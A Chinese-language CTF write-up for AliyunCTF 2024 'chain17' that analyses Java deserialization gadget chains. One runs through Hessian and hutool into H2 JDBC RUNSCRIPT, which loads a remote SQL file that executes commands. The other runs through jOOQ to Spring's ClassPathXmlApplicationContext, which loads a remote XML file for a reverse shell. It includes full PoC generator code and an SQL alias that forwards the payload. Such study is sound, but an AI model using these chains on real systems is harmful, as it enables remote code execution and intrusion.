chain17
AliyunCTF2024 –chain17
前言
W&M和V&N的各位爷太强了,web都AK了
随着偶像Boogipop和各位web✌解出chain17,web也随之被AK
那我们来看看这个chain17
主要是其他的写不来一点
基本信息
题目有agent.jar和server.jar,说明我们要先打下agent端,再打server端
agent

这说明这个包下肯定有类要进行调用



server

agent

路由只有一个hessian反序列化的入口
并且这个hessian依赖中好像并没有toString的那个CVE
刚开始大佬们因为对这些依赖都不太熟悉,所以有点走偏,提示出来之后就顺畅很多

其实当时看协作文档我也没看出什么所以然,以至于给出这个提示我也看不懂
赛后也是结合各个wp进行分析,没人教实在太痛苦了,花了好几天才理解(呜呜呜
首先因为入口是Hessian2Input.readObject,所以当我们序列化一个Map的子类
反序列化必定经过MapDeserializer的map.put

我们只需要找到一个Map的子类进行利用

在进行map.put之前,会多次经过下面这个方法中获取黑名单,并依次检查new的类、他们的所有父类以及他们的接口是否在黑名单中

然后JSONObject.put跟进到


我试了下直接放入POJONode,但他不是jdk内部类,就进不到这里
然后就找到AtomicReference类

接着到String类下的valueOf

控制obj为POJONode即可

也就是控制AtomicReference的value属性为PojoNode
接下来肯定就是调用Bean的getObject

然后大佬的思路就是给出了h2的依赖肯定有用,那就去找getter打jdbc
这里我猜测一下大佬的思路,应该是去找DriverManager.getConnection

发现在这个函数有使用

发现能跟进

发现有两处

其实这两处都差不多,调用谁的关键在于initialSize,设置initialSize大于等于1就走第一处,不设置只能走第二处
这里先介绍第一处
设置initialSize大于等于1


跟过去

不断往上跟
我们可以跟到DSFactory的getDataSource()
但他是抽象类,我们实例化他的实现类即可,即PooledDSFactory
感觉很神奇的东西
各个WP的调用栈都是这样
Bean.getObject -> PooledDSFactory.getDataSource实现的话就把准备好的PooledDSFactory对象序列化后放入Bean的data去反序列化

我很奇怪这样的写法,于是我跟着下断点看看,发现一个神奇的东西

这里是pojonode执行getter的地方,这里能获取返回值
按照WP的写法,我们能获取到我们准备的PooledDSFactory对象
然后走到下面

我们发现他会再次进入BeanSerializer的serialize方法 !!!!!!
这是pojonode获取所有getter并执行的其中一步
果不其然,在执行getter的前一步,我们发现他已经获取到了PooledDSFactory所有的getter
先执行getSetting,再在执行getDataSource
执行getDataSource的调用栈

成功拼接
第二处
就是不设置initialSize大于等于1
这里我就直接用PooledDSFactory分析下去
不设置的话也会经过这里

但是不会进入newConnection
然后就返回一个实例化的PooledDataSource

然后继续返回一个DataSourceWrapper对象


然后就是我所说的很神奇的东西,会返回执行完getter的值

那这里就会继续获取DataSourceWrapper的所有getter并执行

我们要的是getConnection


这两处都差不多,还是第一处方便一点
payload实现的赋值细节


dsMap要赋值,不赋值过不了

不太理解的就是这个raw
打h2数据库
h2数据库在初始化或能控制jdbc的情况下,能够init runscript执行sql文件
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'poc.sql
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('calc')改为反弹shell拿下agent端
poc
import cn.hutool.core.map.SafeConcurrentHashMap;
import cn.hutool.db.ds.pooled.PooledDSFactory;
import cn.hutool.json.JSONObject;
import cn.hutool.setting.Setting;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.alibaba.com.caucho.hessian.io.SerializerFactory;
import com.fasterxml.jackson.databind.node.POJONode;
import com.aliyunctf.agent.other.Bean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.concurrent.atomic.AtomicReference;
public class WM_agent {
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(ctMethod);
ctClass.toClass();
String url="jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'";
PooledDSFactory pooledDSFactory = createWithoutConstructor(PooledDSFactory.class);
Setting setting = new Setting();
setting.setCharset(null);
setting.set("url",url);
setting.put("initialSize", "1");
setFieldValue(pooledDSFactory,"setting",setting);
HashMap<Object, Object> dsmap = new HashMap<>();
dsmap.put("",null);
// setFieldValue(pooledDSFactory,"dsMap",dsmap);
setFieldValue(pooledDSFactory,"dsMap",new SafeConcurrentHashMap<>());
Bean bean = new Bean();
ByteArrayOutputStream baos2 = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos2);
oos.writeObject(pooledDSFactory);
oos.close();
bean.setData(baos2.toByteArray());
POJONode jsonNodes = new POJONode(bean);
AtomicReference atomicReference = new AtomicReference("poc");
JSONObject jsonObject = new JSONObject();
//innermap
HashMap<Object, Object> innermap = new HashMap<>();
setFieldValue(innermap, "size", 1);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, "manqiu",atomicReference, null));
setFieldValue(innermap, "table", tbl);
setFieldValue(jsonObject,"raw",innermap);
setFieldValue(atomicReference,"value",jsonNodes);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
out.setSerializerFactory(new SerializerFactory());
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(jsonObject);
out.flushBuffer();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(base64String);
byte[] data = Base64.getDecoder().decode(base64String);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
Object object = hessian2Input.readObject();
System.out.println(object.getClass());
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.setAccessible(true);
if(field != null) {
field.set(obj, value);
}
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}server
只有一个jooq依赖,只需要在其中找到getter进行利用即可
unknown学的codeql好像帮了Boogipop大佬很多忙,太强了
目标是ConvertedVal的getValue
但并不是直接在getValue中,要跟进函数

看到这个我们很容易想到ClassPathXmlApplicationContext加载恶意xml文件
我们只需要等到获取参数类型为String的构造器即可
那如何控制这个toClass呢
调用栈往前找到


获取DefaultDataType的uType
可以直接用DefaultDataType,也可以用他的子类

官方使用的是TableDataType
poc
import cn.hutool.core.io.FileUtil;
import cn.hutool.core.util.ReflectUtil;
import cn.hutool.core.util.SerializeUtil;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.jooq.DataType;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.File;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.Vector;
// JDK17 VM options:
// --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens java.desktop/javax.swing.event=ALL-UNNAMED
public class PocServer {
public static void main(String[] args) throws Exception {
gen("http://localhost:8000/poc.xml");
}
public static void gen(String url) throws Exception{
Class clazz1 = Class.forName("org.jooq.impl.Dual");
Constructor constructor1 = clazz1.getDeclaredConstructors()[0];
constructor1.setAccessible(true);
Object table = constructor1.newInstance();
Class clazz2 = Class.forName("org.jooq.impl.TableDataType");
Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
constructor2.setAccessible(true);
Object tableDataType = constructor2.newInstance(table);
Class clazz3 = Class.forName("org.jooq.impl.Val");
Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class);
constructor3.setAccessible(true);
Object val = constructor3.newInstance("whatever", tableDataType, false);
Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal");
Constructor constructor4 = clazz4.getDeclaredConstructors()[0];
constructor4.setAccessible(true);
Object convertedVal = constructor4.newInstance(val, tableDataType);
Object value = url;
Class type = ClassPathXmlApplicationContext.class;
ReflectUtil.setFieldValue(val, "value", value);
ReflectUtil.setFieldValue(tableDataType, "uType", type);
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(ctMethod);
ctClass.toClass();
POJONode pojoNode = new POJONode(convertedVal);
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) ReflectUtil.getFieldValue(undoManager, "edits");
vector.add(pojoNode);
ReflectUtil.setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});
byte[] data = SerializeUtil.serialize(eventListenerList);
System.out.println(Base64.getEncoder().encodeToString(data));
}
}准备恶意xml反弹shell即可
如何发送payload到server
Boogipop佬拿到agent的shell后发现没有curl,然后开始想办法,虽然我不知道他是咋实现的
官方WP是在恶意sql文件中写了一个请求的函数
create alias send as 'int send(String url, String poc) throws java.lang.Exception { java.net.http.HttpRequest request = java.net.http.HttpRequest.newBuilder().uri(new java.net.URI(url)).headers("Content-Type", "application/octet-stream").version(java.net.http.HttpClient.Version.HTTP_1_1).POST(java.net.http.HttpRequest.BodyPublishers.ofString(poc)).build(); java.net.http.HttpClient httpClient = java.net.http.HttpClient.newHttpClient(); httpClient.send(request, java.net.http.HttpResponse.BodyHandlers.ofString()); return 0;}';
call send('http://server:8080/read', '<这里填打 server 的 base64 payload>')复现
遇到个问题,放入payload会报错

在前面加个字符就能加载。。。。。

玄学

finally
都是自己根据WP分析的原理,也仅仅如此,没有什么其他说法
那文章虽然结束,但这题还不能结束,还得去找大佬还原做题时的情景,掌握做题技巧,以及那个codeql是咋找到getValue的
脑子太愚钝了,看了好几天,虽然也有题目很难的原因,但主要还是自己不知道如何去调试,如何去分析